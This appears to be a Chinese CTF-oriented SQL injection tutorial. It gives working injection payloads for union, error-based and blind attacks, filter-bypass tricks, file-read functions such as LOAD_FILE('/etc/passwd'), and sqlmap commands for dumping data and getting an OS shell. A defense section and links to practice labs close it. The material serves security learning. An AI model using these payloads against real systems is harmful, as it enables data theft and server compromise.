程序员和网站开发网站那个做的比较好
文章目录
- 一、什么是SQL注入?
 - 二、常见SQL注入类型
 - 三、手动注入步骤(以CTF题目为例)
 - 四、CTF实战技巧
 - 五、自动化工具:SQLMap
 - 六、防御措施
 - 七、CTF例题
 - 八、资源推荐
 
一、什么是SQL注入?
SQL注入是一种通过用户输入构造恶意SQL语句,干扰后端数据库查询逻辑的攻击方式。攻击者可通过注入获取敏感数据、篡改数据库或执行系统命令。
二、常见SQL注入类型
-  
联合查询注入(Union-Based)
利用UNION SELECT拼接查询结果,直接回显数据。' UNION SELECT username, password FROM users-- -  
报错注入(Error-Based)
通过触发数据库报错泄露信息(如MySQL的updatexml或extractvalue)。' AND updatexml(1, concat(0x7e, (SELECT user())), 1)-- -  
布尔盲注(Boolean-Based Blind)
通过页面返回的真假状态推断数据(如返回内容差异或HTTP状态码)。' AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'-- -  
时间盲注(Time-Based Blind)
通过延时响应判断条件是否成立(如MySQL的sleep())。' AND IF(1=1, SLEEP(5), 0)-- 
三、手动注入步骤(以CTF题目为例)
-  
检测注入点
-  
输入单引号
'触发数据库错误(如You have an error in your SQL syntax)。 -  
测试逻辑条件:
id=1' AND 1=1-- (页面正常) id=1' AND 1=2-- (页面异常) 
 -  
 -  
确定字段数(ORDER BY)
' ORDER BY 3-- (无报错) ' ORDER BY 4-- (报错→字段数为3) -  
联合查询获取数据
' UNION SELECT 1,2,3-- (确定回显位) ' UNION SELECT database(), user(), version()-- -  
提取表名与列名
' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'-- -  
获取敏感数据
' UNION SELECT 1, username, password FROM users-- 
四、CTF实战技巧
-  
绕过过滤
- 大小写绕过:
UnIoN SeLeCt(部分过滤器不区分大小写)。 - 注释符:
--(空格)、#、/*...*/。 - 编码绕过:URL编码(
%27代替')、十六进制(0x...)。 - 空格绕过:用
/**/或+代替空格(如UNION/**/SELECT)。 
 - 大小写绕过:
 -  
利用字符串拼接
- MySQL:
'||'1'='1'→' OR '1'='1。 - SQLite:
'||1=1--。 
 - MySQL:
 -  
利用数据库特性
- MySQL:
LOAD_FILE('/etc/passwd')读取文件。 - PostgreSQL:
pg_read_file('/etc/passwd')。 - SQLite:
sqlite_version()获取版本。 
 - MySQL:
 
五、自动化工具:SQLMap
-  
基本用法
sqlmap -u "http://target.com/page?id=1" --dbs # 获取所有数据库名 sqlmap -u "http://target.com/page?id=1" -D dbname --tables # 获取表名 sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump # 导出数据 -  
高级参数
--level=3:提高检测等级(包含Cookie注入)。--risk=3:允许高风险操作(如文件写入)。--os-shell:尝试获取系统Shell(需高权限)。
 
六、防御措施
-  
参数化查询(预编译)
Python
# Python示例(使用SQLAlchemy) result = db.session.execute('SELECT * FROM users WHERE id = :id', {'id': user_id}) -  
输入过滤
- 过滤特殊字符(
' " ; --)。 - 限制输入类型(如数字类型强制转换为整数)。
 
 - 过滤特殊字符(
 -  
最小权限原则
- 数据库用户仅授予必要权限(禁止
FILE、EXECUTE等)。 
 - 数据库用户仅授予必要权限(禁止
 
七、CTF例题
-  
题目:登录页面存在SQL注入,获取管理员密码。
SQL
' OR 1=1 -- ' UNION SELECT null, password FROM users WHERE username='admin'-- -  
题目:过滤了空格和
UNION,利用盲注获取数据。SQL
'||(SELECT CASE WHEN (SUBSTR(password,1,1)='a') THEN SLEEP(5) ELSE 0 END FROM users)# 
八、资源推荐
- 练习平台: 
- PortSwigger SQLi Labs(https://portswigger.net/web-security/sql-injection)
 - SQLi Labs(GitHub开源靶场)
 
 - 深入阅读: 
- 《SQL注入攻击与防御(第2版)》
 - OWASP SQL Injection Cheat Sheet
 
 
